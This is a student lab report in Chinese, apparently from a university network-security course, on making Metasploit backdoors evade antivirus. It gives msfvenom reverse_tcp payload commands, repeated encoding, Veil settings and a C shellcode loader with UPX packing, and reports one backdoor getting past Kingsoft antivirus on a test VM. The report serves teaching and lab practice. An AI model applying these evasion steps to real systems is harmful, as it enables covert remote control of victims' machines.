2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1、杀软是如何检测出恶意代码的?
- 基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
- 基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。
2、免杀是做什么? - 让后门程序不被杀软检测出来
3、免杀的基本方法有哪些? - msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion
4、离实战还缺些什么技术或步骤? - 缺少将后门植入的操作:比如把后门安插到正常的软件包中,或者利用目标机已有的软件漏洞实现后门植入。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1、使用msf编码器
通过上个实验中学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 43.171 LPORT=5228 -f exe > met.exe

将生成的程序上传到
virus total试试结果

使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.43.171 LPORT=5228 -f exe > met-encoded10.exe

再上传到
virus total试试免杀操作是否有效

2、使用msfvenom生成jar
- 使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.43.171 lport=5228 x> 20165228_backdoor_java.jar

3、使用msfvenom生成php - 使用php后门程序生成命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20165228_backdoor.php

4、使用veil-evasion
我的kali版本比较新,好像说比较新的版本没有自带的veil....
于是,先>!%_&&%,再*&(%%+##,最后@$#%%&&&&,我的veil终于能用了。
。 。 。 。 。此处省略一天一夜
- 设置veil
use evasion
use 7
set LHOST 192.168.43.171
set LPORT 5228

然后输入后门程序的文件名就可以啦

于是把它挂上
virus total看看表现如何

5、利用shellcode编程
- 先执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.171 LPORT=5228 -f c - 得到shellcode

任务二:Linux平台交叉编译Windows应用
1、使用交叉编译
- 新建.c文件,将
shellcode和c代码组合到一起
vim 5228met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
执行
i686-w64-mingw32-g++ met.c -o met.exe生成可执行的后门程序然后把它挂上
virus total测一下

2、使用````c+shellcode+加压缩壳```
实验环境:被控机是win10实体机,装有腾讯安全管家
原理:将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果
- 先生成shellcode
- 制作用C调用shellcode的代码
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5";
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
使用VS编译成exe可执行文件
加压缩壳
upx cal.exe -o cal_upxed.exe

使用杀软扫描,未报警,就这样骗过了杀软,达到免杀效果(其实不加壳我的杀软也不报警...)

运行后门程序,反弹连接成功。


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验环境:被控机是win7虚拟机,装有金山毒霸
(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,结果两个加壳的都被金山杀了,只剩最初的未加壳版本)
- 本机打开msf控制台,开始监听
- 受控机运行后门程序



问题
- 在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT
解决:参考相关博客,最后进入/opt/Veil-Evasion运行,/Veil-Evasion.py就成功啦 - 在交叉编译时出现以下错误:

解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。 - 为什么在某些情况下, 加壳的程序反而更容易被杀软报警?
个人想法:杀软只是根据加壳这个特征判断程序可疑,而并不是因为具体的程序作用,我百度了一下... 正常的软件加壳后也很可能被误报。
实验感想
- 此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。所以,为了系统安全和信息不泄露,就要谨慎冲浪,即使是软件官网的安装包,也要验证md5值后再下载安装,从根源上避免问题。
2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- gevent模块学习(一)
1.Event类,事件主要用于Greenlet之间的异步通信 e = gevent.event.Event() -> Event 说明: 创建一个信号对象 e.set() -> None ...
- Java获取本地IP地址和主机名
方式一:通过java.net.InetAddress类获取 public void test1() { try { InetAddress addr = InetAddress.getLocalHos ...
- ps切图
1.选择视图然后标尺 ctrl+R 拉辅助线,选择矩形选框工具,点击窗口,选择信息,在右上角点击面板选项,选择像素,获取宽高(width 横向为宽:height纵向为高) 2.视图:清楚参考线 Ctr ...
- 小菜鸟从0基础开始学Linux系统
随着当今信息时代的迅速发展,Linux凭借其诸多优势从操作系统中脱颖而出,受到越来越多电脑用户的青睐.Linux是一个集安全.稳定.自由等众多优点于一身的操作系统,不可思议的是这么好的系统还是免费的! ...
- CSS3动画与JS动画的优缺点?
JS动画: 缺点:1.JS在浏览器的主线程中运行,而主线程还有其他的js脚本,样式布局,绘制任务等,对其干扰可能导致线程出现阻塞,从而造成丢帧的情况. 2.JS动画代码复杂度高于CSS3动画. 优点: ...
- UDP聊天工具的实现
利用TIdUDPClient; TIdUDPServer; 实现聊天,其实很不爽,没有解决中文乱码问题,以后补充吧! 代码如下: unit Unit1; interface uses ...
- Ceph Luminous版本创建OSD无法激活问题
一.问题描述 部署ceph的Luminous之ceph-12.2.10版本,在其中一个集群节点部署OSD时,发现命令执行完毕后,集群中并没有将格式化的盘加入到OSD中,也没有任何报错,问题如下: [r ...
- python 游戏 —— 汉诺塔(Hanoita)
python 游戏 —— 汉诺塔(Hanoita) 一.汉诺塔问题 1. 问题来源 问题源于印度的一个古老传说,大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆 ...
- 解决sublime text 3使用Install Package时出现There are no packages available for installation问题
package control一直弹出There are no packages available for installation,由于国内环境屏蔽了https://packagecontrol. ...
- Beta冲刺 2
前言 队名:拖鞋旅游队 组长博客:https://www.cnblogs.com/Sulumer/p/10104842.html 作业博客:https://edu.cnblogs.com/campus ...